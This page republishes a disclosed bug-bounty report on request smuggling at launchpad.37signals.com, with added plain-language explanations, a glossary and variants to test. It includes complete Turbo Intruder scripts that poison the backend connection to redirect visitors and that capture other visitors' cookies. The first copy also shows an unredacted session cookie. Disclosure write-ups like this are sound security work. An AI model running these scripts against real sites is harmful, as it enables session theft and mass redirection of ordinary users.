Skip to content
Smuggling / CRLF Disclosed report Advanced

Unauthenticated request smuggling on launchpad.37signals.com

The Rails application on launchpad.37signals.com desynchronised frontend and backend servers when a request carried both a Content-Length header and two Transfer-Encoding headers, one valid and one invalid. An attacker could poison the backend socket so the next visitor received a harmful response, such as a redirect to an attacker domain, or capture visitors' request headers and cookies.

hazimaslam Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 9 days
  • Fixed in 2 months
  • Paid in 9 days
  • Disclosed after 6 months

Description

By sending an ambiguous request on the rails application on launchpad.37signals.com, an attacker can desynchronise frontend and backend servers, leaving the socket to the backend server poisoned with a harmful response. This response will then be served up to the next visitor.

The desync occurs when sending a request with a Content-Length header and a valid Transfer-Encoding header followed by an invalid Transfer-Encoding header. The frontend server only examines the second Transfer-Encoding which is invalid, so it uses the Content-Length instead. However the backend server prioritises the valid Transfer-Encoding header and therefore ignores the Content-Length.

Validation Steps

To replicate this bug, run the following script in Turbo Intruder. After issuing a desync request, it simulates 6 requests from normal visitors one of which gets redirected to hazimaslam.com.

Python
def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint='https://launchpad.37signals.com:443',
                           concurrentConnections=3,
                           requestsPerConnection=2,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )

    attack = '''POST /identity HTTP/1.1
Host: launchpad.37signals.com
Content-Length: 69
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Transfer-Encoding: foo

3
x=1
0

GET / HTTP/1.1
X-Forwarded-Host: hazimaslam.com
Foo: bar'''

    engine.queue(attack)

    victim = '''GET /signin HTTP/1.1
Host: launchpad.37signals.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,la;q=0.8
Cookie: _launchpad_session=uViarUZn10afBS9AD4AgD9lF4iEk6%2FIfinxiAVgiEQNq2xMTKY86i9r%2FZEQ%2BENl183aEL845OspHItodYdrC0OIEWMzEjswGng%2F%2BXwE5nsYBhY7ep%2B%2FmrDB1ZXa%2B1NaAji52own5luVsggkP98GrqNjnWHxGdIfffZjMFwz3Q3fNxV0NilS1DmNiY0P72x9CDsrQfzc0HbGfnL%2BEvs9%2BODfbfJYnexsrxX2P78RaQ8wf--0zL8fFbFTz6maAwm--XxtVi%2BPuHcoHD8hjqSkxkQ%3D%3D

'''
    for i in range(6):
        engine.queue(victim)
        time.sleep(0.05)


def handleResponse(req, interesting):
    table.add(req)
Screenshot_2020-05-07_at_7.51.16_AM.png
Screenshot_2020-05-07_at_7.51.16_AM.png From the original on HackerOne

Capturing and storing normal visitors' request headers and cookies

By prefixing the victim's request with a crafted storage request, we can make the application save their request and display it back to us and steal any authentication cookies/headers.

  1. Login and visit https://launchpad.37signals.com/identity/edit
  2. Save changes and intercept the request.
  3. Copy the values of following from intercepted request and paste in the script where indicated:
  • identity_id (cookie)
  • session_token (cookie)
  • _launchpad_session (cookie)
  • authenticity_token (parameter)
Python
def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint='https://launchpad.37signals.com:443',
                           concurrentConnections=3,
                           requestsPerConnection=2,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )

    attack = '''POST /identity HTTP/1.1
Host: launchpad.37signals.com
Content-Length: 903
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Transfer-Encoding: foo

3
x=1
0

POST /identity HTTP/1.1
Host: launchpad.37signals.com
Content-Length: 435
X-Forwarded-Proto: https
Content-Type: application/x-www-form-urlencoded
Cookie: identity_id=PASTE_identity_id_HERE; session_token=PASTE_session_token_HERE; _launchpad_session=PASTE_launchpad_session_HERE

_method=patch&authenticity_token=PASTE_authenticity_token_HERE&identity%5bavatar%5d=&identity%5bname%5d='''

    engine.queue(attack)

    victim = '''GET /signin HTTP/1.1
Host: launchpad.37signals.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36
Cookie: _launchpad_session=uViarUZn10afBS9AD4AgD9lF4iEk6%2FIfinxiAVgiEQNq2xMTKY86i9r%2FZEQ%2BENl183aEL845OspHItodYdrC0OIEWMzEjswGng%2F%2BXwE5nsYBhY7ep%2B%2FmrDB1ZXa%2B1NaAji52own5luVsggkP98GrqNjnWHxGdIfffZjMFwz3Q3fNxV0NilS1DmNiY0P72x9CDsrQfzc0HbGfnL%2BEvs9%2BODfbfJYnexsrxX2P78RaQ8wf--0zL8fFbFTz6maAwm--XxtVi%2BPuHcoHD8hjqSkxkQ%3D%3D
Foo: bar

'''
    for i in range(6):
        engine.queue(victim)
        time.sleep(0.05)


def handleResponse(req, interesting):
    table.add(req)

Run the script in Turbo Intruder and refresh https://launchpad.37signals.com/identity/edit to see captured headers and cookies.

Here is the video demonstration for this:

Screen_Recording_2020-05-07_at_9.02.52_AM.mov From the original on HackerOne

Impact

  • With request smuggling, attacker can serve harmful response to random people actively browsing the website, enabling straightforward mass-exploitation.

  • By redirecting javascript imports to a malicious domain, an attacker can inject a key-logger and steal user passwords from login page.

  • It is also possible to capture visitors' request headers and cookies.

  • No authentication and interaction required.

The original report as published on HackerOne, by hazimaslam. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

launchpad.37signals.com is a Rails application that fronts the 37signals identity service. The report focuses on two endpoints: POST /identity, which accepts form-encoded identity updates, and GET /signin, the login page that ordinary visitors load. The bug is an HTTP request smuggling desynchronisation between the frontend server and the backend Rails application, reachable without authentication.

Setup

The only tool required is Turbo Intruder, run against https://launchpad.37signals.com:443. The second part, which captures other visitors' headers and cookies, requires a logged-in account so that the researcher can read the values of identity_id, session_token, _launchpad_session and authenticity_token from an intercepted request.

Finding it

The desync appears when a single request carries a Content-Length header, a valid Transfer-Encoding header and then an invalid Transfer-Encoding header. The frontend server looks only at the second, invalid Transfer-Encoding, rejects it as unusable and falls back to Content-Length. The backend server instead honours the valid Transfer-Encoding: chunked and ignores Content-Length. The two ends therefore disagree about where the request body ends, and the bytes that follow are treated by the backend as the start of a new request on the same connection.

Exploitation

Step 1: Desynchronise the connection and poison the next response

The researcher queues one attack request followed by six simulated visitor requests. The attack request declares Content-Length: 69 but the body is chunked, and the smuggled second request is a GET / carrying an X-Forwarded-Host: hazimaslam.com header.

Python
def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint='https://launchpad.37signals.com:443',
                           concurrentConnections=3,
                           requestsPerConnection=2,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )

    attack = '''POST /identity HTTP/1.1
Host: launchpad.37signals.com
Content-Length: 69
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Transfer-Encoding: foo

3
x=1
0

GET / HTTP/1.1
X-Forwarded-Host: hazimaslam.com
Foo: bar'''

    engine.queue(attack)

    victim = '''GET /signin HTTP/1.1
Host: launchpad.37signals.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,la;q=0.8
Cookie: _launchpad_session=[redacted]

'''
    for i in range(6):
        engine.queue(victim)
        time.sleep(0.05)

def handleResponse(req, interesting):
    table.add(req)

The two ends disagree on where the body ends, so the bytes that follow are treated by the backend as the start of a new request on the same connection. The frontend, using Content-Length: 69, stops reading the body earlier and treats the remainder as the beginning of the next request on the socket. The result is that the backend's response to the smuggled GET / is left queued on the connection and is delivered to whichever visitor request arrives next. In the researcher's run, one of the six simulated visitors is redirected to hazimaslam.com.

Screenshot_2020-05-07_at_7.51.16_AM.png
Screenshot_2020-05-07_at_7.51.16_AM.png From the original on HackerOne

Step 2: Capture other visitors' request headers and cookies

The second payload prefixes the victim's request with a crafted storage request. The smuggled request is a POST /identity that patches the attacker's own identity, and the victim's request is appended to it so that the application stores the victim's headers and cookies and displays them back to the attacker.

  1. Log in and visit https://launchpad.37signals.com/identity/edit.
  2. Save changes and intercept the request.
  3. Copy the values of the following from the intercepted request and paste them into the script where indicated:
  • identity_id (cookie)
  • session_token (cookie)
  • _launchpad_session (cookie)
  • authenticity_token (parameter)
Python
def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint='https://launchpad.37signals.com:443',
                           concurrentConnections=3,
                           requestsPerConnection=2,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )

    attack = '''POST /identity HTTP/1.1
Host: launchpad.37signals.com
Content-Length: 903
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Transfer-Encoding: foo

3
x=1
0

POST /identity HTTP/1.1
Host: launchpad.37signals.com
Content-Length: 435
X-Forwarded-Proto: https
Content-Type: application/x-www-form-urlencoded
Cookie: identity_id=PASTE_identity_id_HERE; session_token=PASTE_session_token_HERE; _launchpad_session=PASTE_launchpad_session_HERE

_method=patch&authenticity_token=PASTE_authenticity_token_HERE&identity%5bavatar%5d=&identity%5bname%5d='''

    engine.queue(attack)

    victim = '''GET /signin HTTP/1.1
Host: launchpad.37signals.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36
Cookie: _launchpad_session=[redacted]
Foo: bar

'''
    for i in range(6):
        engine.queue(victim)
        time.sleep(0.05)

def handleResponse(req, interesting):
    table.add(req)

The smuggled request is a POST /identity carrying the researcher's own cookies and authenticity_token, with a _method=patch parameter in its body. The victim's request is appended to the smuggled request so that the application stores the victim's headers and cookies and displays them back to the attacker. Running the script in Turbo Intruder and refreshing https://launchpad.37signals.com/identity/edit shows the captured headers and cookies.

Screen_Recording_2020-05-07_at_9.02.52_AM.mov From the original on HackerOne

Root cause

The frontend and backend disagree on how to interpret a request that carries both Content-Length and two Transfer-Encoding headers. The frontend examines only the second, invalid Transfer-Encoding: foo, discards it and uses Content-Length. The backend prioritises the valid Transfer-Encoding: chunked and ignores Content-Length. Because the two ends compute different body boundaries, the trailing bytes are parsed by the backend as a new request. The report does not describe any frontend normalisation or rejection of duplicate Transfer-Encoding headers.

Impact

  • An attacker can serve a harmful response to random people actively browsing the site, which the researcher describes as straightforward mass exploitation.
  • By redirecting JavaScript imports to a malicious domain, an attacker can inject a keylogger and steal passwords from the login page.
  • It is also possible to capture visitors' request headers and cookies.
  • No authentication or user interaction is required for the smuggling itself.

Fix

The report does not state what was changed. The general remedy for this class of bug is to make the frontend and backend agree on request framing: reject requests that carry both Content-Length and Transfer-Encoding, reject duplicate or unrecognised Transfer-Encoding values, and normalise the request before forwarding it to the backend.

Variants to test

  1. Send a request with Content-Length plus a valid Transfer-Encoding: chunked followed by an invalid Transfer-Encoding value. A positive result is that the backend processes a smuggled request that the frontend did not intend to forward.
  2. Send a request with two Transfer-Encoding headers where the first is invalid and the second is chunked. A positive result is a desync in the opposite direction, with the frontend and backend disagreeing on the body boundary.
  3. Send a request with Transfer-Encoding: chunked and an obfuscated variant such as Transfer-Encoding: chunked, identity. A positive result is that one end treats the body as chunked while the other treats it as length-delimited.
  4. Send a request with Content-Length and Transfer-Encoding: chunked where the chunked body is shorter than the declared Content-Length. A positive result is that the trailing bytes are parsed as a new request by the backend.
  5. Send a request with a Content-Length header and a Transfer-Encoding header where the chunk size uses whitespace or a leading zero. A positive result is that the frontend and backend disagree on the chunk boundary.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 16 min read.

What happened, in plain words

Imagine a hotel with a front desk and a kitchen. The front desk takes your order, writes it on a slip, and passes the slip to the kitchen. Normally both sides read the slip the same way, so the right dish goes to the right guest. Now imagine a slip that can be read two different ways: the front desk reads it one way and the kitchen reads it another. The kitchen ends up cooking a dish nobody ordered and handing it to the next guest who walks in. That is roughly what happened here, except the "slip" is an HTTP request and the "dish" is a web page.

A website like launchpad.37signals.com is not one computer. There is usually a frontend server (a gatekeeper that receives traffic from the internet) and a backend server (the application that does the real work, here a Ruby on Rails application). The frontend forwards requests to the backend. For this to work, both must agree on where one request ends and the next begins. If they disagree, an attacker can slip an extra, hidden request past the frontend and have the backend treat it as real. This class of bug is called HTTP request smuggling, and the disagreement itself is called a desynchronisation (or desync).

The researcher found that by sending one specially crafted request, they could make the frontend and backend disagree about the length of the request body. The leftover bytes were then read by the backend as a brand new request. The backend's answer to that hidden request stayed waiting on the connection and was delivered to the next ordinary visitor. In the researcher's demonstration, one of six simulated visitors was redirected to hazimaslam.com, a domain the researcher controlled. A second version of the attack let the researcher capture other visitors' request headers and cookies.

No login was needed for the smuggling itself. The report was rated critical.

The pieces you need to know

Before walking through the steps, here are the basic ideas, explained from zero.

  • HTTP: the language browsers and web servers speak. A browser sends a request ("please give me this page") and the server sends back a response (the page, or an error).
  • Request headers: extra lines at the top of a request that describe it, such as which browser is asking (User-Agent), which site is being requested (Host), or what kind of data is being sent (Content-Type). Think of them as the label on a parcel.
  • Request body: the actual data sent with a request, for example the contents of a form you filled in. Think of it as what is inside the parcel.
  • Content-Length: a header that says exactly how many bytes long the body is. The receiver reads that many bytes and stops. Like telling a courier "the parcel weighs 2 kg".
  • Transfer-Encoding: chunked: an alternative way of sending a body. Instead of giving a total length up front, the sender breaks the body into chunks, and each chunk starts with its size in hexadecimal. A chunk of size 0 marks the end. Like sending a parcel as several numbered boxes and a final note saying "no more boxes".
  • Frontend server: the server that sits closest to the internet and forwards traffic to the application. Often called a reverse proxy or load balancer.
  • Backend server: the application server that actually builds the pages. Here it is a Rails application.
  • Rails: a popular framework for building web applications in the Ruby programming language. It has conventions for how forms and updates are handled.
  • Endpoint: a specific address on a site that does a specific job. POST /identity is an endpoint that accepts form data to update an identity; GET /signin is the login page.
  • POST and GET: two kinds of HTTP request. GET asks for something (like loading a page). POST sends data to the server (like submitting a form).
  • Cookie: a small piece of data a website stores in your browser so it can recognise you on later requests. When you log in, the site gives your browser a cookie, and the browser sends it back with every request. It is like a wristband at an event: show it and you get in without explaining who you are again.
  • Session cookie: a cookie that identifies your logged-in session. If someone else gets it, they can often act as you.
  • Token: a value used to prove that a request is legitimate. An authenticity token (also called a CSRF token) is a secret value embedded in forms so the server can tell that the form really came from its own site and not from an attacker's page.
  • X-Forwarded-Host: a header some frontends add to tell the backend which hostname the visitor originally asked for. If the application trusts it blindly, an attacker can influence links and redirects the application generates.
  • X-Forwarded-Proto: a similar header that tells the backend whether the original request came over HTTP or HTTPS.
  • Turbo Intruder: an extension for the Burp Suite security testing tool. It lets you send many carefully crafted HTTP requests quickly and precisely, which is needed for smuggling attacks where timing and connection reuse matter.
  • Intercept: to pause a request in a proxy tool before it reaches the server, so you can read or change it.
  • PATCH: an HTTP method meaning "update part of this resource". Rails can be told to treat a POST as a PATCH by including a special _method parameter in the form data.

The setup

The only tool needed is Turbo Intruder, pointed at https://launchpad.37signals.com:443. Port 443 is the standard port for HTTPS, the encrypted version of HTTP.

The second part, which captures other visitors' headers and cookies, does need a logged-in account, because the researcher has to read their own cookie values and authenticity token from a request their browser makes.

Finding the bug

The desync appears when a single request carries three things at once:

  1. a Content-Length header,
  2. a valid Transfer-Encoding: chunked header,
  3. and then an invalid Transfer-Encoding: foo header.

The frontend server looks only at the second Transfer-Encoding header it sees, which is foo. It does not recognise foo, so it decides chunked encoding is unusable and falls back to Content-Length. The backend server instead honours the valid Transfer-Encoding: chunked and ignores Content-Length. The two ends therefore disagree about where the body ends. The bytes that follow the body are then treated by the backend as the start of a new request on the same connection.

Step 1: Desynchronise the connection and poison the next response

The researcher queues one attack request followed by six simulated visitor requests. The attack request declares Content-Length: 69, but its body is actually chunked. The hidden second request inside it is a GET / carrying an X-Forwarded-Host: hazimaslam.com header.

Python
def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint='https://launchpad.37signals.com:443',
                           concurrentConnections=3,
                           requestsPerConnection=2,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )

    attack = '''POST /identity HTTP/1.1
Host: launchpad.37signals.com
Content-Length: 69
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Transfer-Encoding: foo

3
x=1
0

GET / HTTP/1.1
X-Forwarded-Host: hazimaslam.com
Foo: bar'''

    engine.queue(attack)

    victim = '''GET /signin HTTP/1.1
Host: launchpad.37signals.com
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,la;q=0.8
Cookie: _launchpad_session=[redacted]

'''
    for i in range(6):
        engine.queue(victim)
        time.sleep(0.05)

def handleResponse(req, interesting):
    table.add(req)

Line by line, in plain words:

  • def queueRequests(target, wordlists): starts a function that Turbo Intruder calls to set up the requests. target and wordlists are standard arguments the tool passes in; the script does not use them here.
  • engine = RequestEngine(...) creates the engine that will send the requests. The settings are:
    • endpoint='https://launchpad.37signals.com:443': the address to send to.
    • concurrentConnections=3: use up to three connections at the same time.
    • requestsPerConnection=2: send up to two requests on each connection. Reusing connections is essential for smuggling, because the poisoned response waits on a specific connection.
    • resumeSSL=False: do not try to resume a previous TLS session. TLS is the encryption layer behind HTTPS.
    • timeout=10: give up after ten seconds.
    • pipeline=False: do not send requests back to back without waiting for responses.
    • maxRetriesPerRequest=0: never retry a request automatically, because a retry would disturb the carefully arranged connection state.
    • engine=Engine.THREADED: use threads to send requests.
  • attack = '''...''' stores the malicious request as a block of text. Inside it:
    • POST /identity HTTP/1.1 is the request line: send a POST to /identity using HTTP version 1.1.
    • Host: launchpad.37signals.com names the site being requested.
    • Content-Length: 69 claims the body is 69 bytes long.
    • Connection: keep-alive asks the server to keep the connection open for more requests. This is what makes the smuggling possible.
    • Content-Type: application/x-www-form-urlencoded says the body is form data, the same format a browser sends when you submit a form.
    • Transfer-Encoding: chunked says the body is sent in chunks.
    • Transfer-Encoding: foo is a second, deliberately invalid encoding header. This is the trick that makes the frontend and backend disagree.
    • The blank line separates headers from body.
    • 3, x=1, 0 is a complete chunked body: a chunk of three bytes (x=1), then a zero-length chunk meaning "end".
    • GET / HTTP/1.1 and X-Forwarded-Host: hazimaslam.com and Foo: bar are the hidden request. The backend will read these as a new request after the chunked body ends. The X-Forwarded-Host header tries to make the application generate links or redirects pointing at the researcher's domain.
  • engine.queue(attack) sends the attack request.
  • victim = '''...''' stores a normal-looking request, the kind an ordinary visitor's browser would send when loading the login page. It includes a Cookie header with a session value, which is redacted here.
  • for i in range(6): repeats the next two lines six times, simulating six visitors.
  • engine.queue(victim) sends one visitor request.
  • time.sleep(0.05) waits 50 milliseconds between them, so the requests arrive in a realistic spread rather than all at once.
  • def handleResponse(req, interesting): is called for each response. table.add(req) adds it to the results table so the researcher can inspect what came back.

The two ends disagree about where the body ends. The frontend, using Content-Length: 69, stops reading the body earlier and treats the remainder as the beginning of the next request on the socket. The result is that the backend's response to the hidden GET / is left queued on the connection and is delivered to whichever visitor request arrives next. In the researcher's run, one of the six simulated visitors was redirected to hazimaslam.com.

Screenshot_2020-05-07_at_7.51.16_AM.png
Screenshot_2020-05-07_at_7.51.16_AM.png From the original on HackerOne

Step 2: Capture other visitors' request headers and cookies

The second payload prefixes the victim's request with a crafted storage request. The hidden request is a POST /identity that updates the researcher's own identity, and the victim's request is appended to it so that the application stores the victim's headers and cookies and displays them back to the researcher.

  1. Log in and visit https://launchpad.37signals.com/identity/edit.
  2. Save changes and intercept the request.
  3. Copy the values of the following from the intercepted request and paste them into the script where indicated:
  • identity_id (cookie)
  • session_token (cookie)
  • _launchpad_session (cookie)
  • authenticity_token (parameter)

Why these four? The first three cookies identify the researcher's own logged-in account, and the authenticity token proves the form submission is genuine. The hidden request needs all of them so the application accepts the update as coming from the researcher.

Python
def queueRequests(target, wordlists):

    engine = RequestEngine(endpoint='https://launchpad.37signals.com:443',
                           concurrentConnections=3,
                           requestsPerConnection=2,
                           resumeSSL=False,
                           timeout=10,
                           pipeline=False,
                           maxRetriesPerRequest=0,
                           engine=Engine.THREADED,
                           )

    attack = '''POST /identity HTTP/1.1
Host: launchpad.37signals.com
Content-Length: 903
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Transfer-Encoding: foo

3
x=1
0

POST /identity HTTP/1.1
Host: launchpad.37signals.com
Content-Length: 435
X-Forwarded-Proto: https
Content-Type: application/x-www-form-urlencoded
Cookie: identity_id=PASTE_identity_id_HERE; session_token=PASTE_session_token_HERE; _launchpad_session=PASTE_launchpad_session_HERE

_method=patch&authenticity_token=PASTE_authenticity_token_HERE&identity%5bavatar%5d=&identity%5bname%5d='''

    engine.queue(attack)

    victim = '''GET /signin HTTP/1.1
Host: launchpad.37signals.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36
Cookie: _launchpad_session=[redacted]
Foo: bar

'''
    for i in range(6):
        engine.queue(victim)
        time.sleep(0.05)

def handleResponse(req, interesting):
    table.add(req)

Line by line again:

  • The engine setup is the same as before, for the same reasons: reuse connections, no retries, short timeout.
  • attack = '''...''' holds the new malicious request. The first part is the same trick as before: POST /identity with Content-Length: 903, Transfer-Encoding: chunked, then the invalid Transfer-Encoding: foo, followed by the valid chunked body 3, x=1, 0.
  • The hidden request this time is a second POST /identity. It carries:
    • Content-Length: 435, the claimed length of its own body.
    • X-Forwarded-Proto: https, telling the backend the original request was encrypted.
    • Content-Type: application/x-www-form-urlencoded, form data again.
    • Cookie: identity_id=...; session_token=...; _launchpad_session=..., the researcher's own cookies, pasted in where the placeholders are.
    • A body of _method=patch&authenticity_token=...&identity%5bavatar%5d=&identity%5bname%5d=. The _method=patch parameter tells Rails to treat this POST as a PATCH update. %5b and %5d are URL-encoded square brackets, so identity%5bavatar%5d means identity[avatar] and identity%5bname%5d means identity[name].
  • engine.queue(attack) sends it.
  • victim = '''...''' is the ordinary visitor request, a GET /signin with a browser User-Agent and a session cookie, plus a Foo: bar header.
  • The loop sends six of these, 50 milliseconds apart, just like before.
  • handleResponse adds each response to the results table.

The hidden POST /identity carries the researcher's own cookies and authenticity token, and a _method=patch parameter. The victim's request is appended to the hidden request so that the application stores the victim's headers and cookies and displays them back to the researcher. Running the script in Turbo Intruder and refreshing https://launchpad.37signals.com/identity/edit shows the captured headers and cookies.

Screen_Recording_2020-05-07_at_9.02.52_AM.mov From the original on HackerOne

Why it works

The frontend and backend disagree on how to read a request that carries both Content-Length and two Transfer-Encoding headers. The frontend examines only the second, invalid Transfer-Encoding: foo, discards it and uses Content-Length. The backend prioritises the valid Transfer-Encoding: chunked and ignores Content-Length. Because the two ends compute different body boundaries, the trailing bytes are parsed by the backend as a new request. The report does not describe any frontend normalisation or rejection of duplicate Transfer-Encoding headers.

Impact

  • An attacker can serve a harmful response to random people actively browsing the site, which the researcher describes as straightforward mass exploitation.
  • By redirecting JavaScript imports to a malicious domain, an attacker can inject a keylogger and steal passwords from the login page. A keylogger is code that records what you type, so it can capture your username and password as you enter them.
  • It is also possible to capture visitors' request headers and cookies.
  • No authentication or user interaction is required for the smuggling itself.

Fix

The report does not state what was changed. The general remedy for this class of bug is to make the frontend and backend agree on request framing: reject requests that carry both Content-Length and Transfer-Encoding, reject duplicate or unrecognised Transfer-Encoding values, and normalise the request before forwarding it to the backend.

Variants to test

These are other ways the same underlying disagreement might show up. Each one is a variation on the same theme: make the two ends read the request differently.

  1. Send a request with Content-Length plus a valid Transfer-Encoding: chunked followed by an invalid Transfer-Encoding value. A positive result is that the backend processes a hidden request that the frontend did not intend to forward. This is the variant used in the report.
  2. Send a request with two Transfer-Encoding headers where the first is invalid and the second is chunked. A positive result is a desync in the opposite direction, with the frontend and backend disagreeing on the body boundary.
  3. Send a request with Transfer-Encoding: chunked and an obfuscated variant such as Transfer-Encoding: chunked, identity. A positive result is that one end treats the body as chunked while the other treats it as length-delimited.
  4. Send a request with Content-Length and Transfer-Encoding: chunked where the chunked body is shorter than the declared Content-Length. A positive result is that the trailing bytes are parsed as a new request by the backend.
  5. Send a request with a Content-Length header and a Transfer-Encoding header where the chunk size uses whitespace or a leading zero. A positive result is that the frontend and backend disagree on the chunk boundary.

Glossary

  • HTTP: the language browsers and web servers use to exchange requests and responses.
  • Request: a message a browser sends to a server asking for something or submitting data.
  • Response: the message a server sends back.
  • Header: a line at the top of a request or response describing it, such as Host or Content-Type.
  • Body: the data carried by a request or response, such as form contents.
  • Content-Length: a header stating the exact size of the body in bytes.
  • Transfer-Encoding: chunked: a way of sending a body in numbered pieces, ending with a zero-size piece.
  • Chunk: one piece of a chunked body, preceded by its size in hexadecimal.
  • Frontend server: the server closest to the internet that receives traffic and forwards it to the application.
  • Backend server: the application server that builds the actual pages.
  • Rails: a framework for building web applications in Ruby.
  • Endpoint: a specific address on a site that performs a specific job.
  • GET: an HTTP method for requesting something, such as a page.
  • POST: an HTTP method for sending data to the server, such as a form submission.
  • PATCH: an HTTP method for updating part of a resource.
  • Cookie: a small piece of data stored by the browser and sent back to the site on later requests, often used to recognise a logged-in user.
  • Session cookie: a cookie that identifies a logged-in session.
  • Token: a value used to prove a request is legitimate.
  • Authenticity token: a secret value in a form that proves the form came from the site itself, used to prevent cross-site request forgery.
  • CSRF: cross-site request forgery, an attack where another site makes your browser submit a request you did not intend.
  • X-Forwarded-Host: a header telling the backend which hostname the visitor originally requested.
  • X-Forwarded-Proto: a header telling the backend whether the original request used HTTP or HTTPS.
  • HTTPS: the encrypted version of HTTP.
  • TLS: the encryption protocol behind HTTPS.
  • Port 443: the standard network port for HTTPS.
  • Turbo Intruder: an extension for Burp Suite that sends many precisely crafted HTTP requests quickly.
  • Burp Suite: a tool used by security testers to intercept and modify web traffic.
  • Intercept: to pause a request in a proxy tool so it can be read or changed before reaching the server.
  • HTTP request smuggling: an attack where a frontend and backend disagree about where a request ends, letting an attacker hide an extra request.
  • Desynchronisation (desync): the state where two servers no longer agree on the boundaries of requests on a connection.
  • Connection reuse: sending several requests over the same open connection instead of opening a new one each time.
  • Connection: keep-alive: a header asking the server to keep the connection open for further requests.
  • Keylogger: code that records what a user types, often to steal passwords.
  • Mass exploitation: attacking many random visitors at once rather than one specific target.
  • URL encoding: representing special characters in a URL or form body using percent codes, such as %5b for [.
  • _method parameter: a form field Rails uses to treat a POST as another HTTP method such as PATCH.

More by hazimaslam

View all

4 more disclosed reports, best first.

More from Basecamp

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.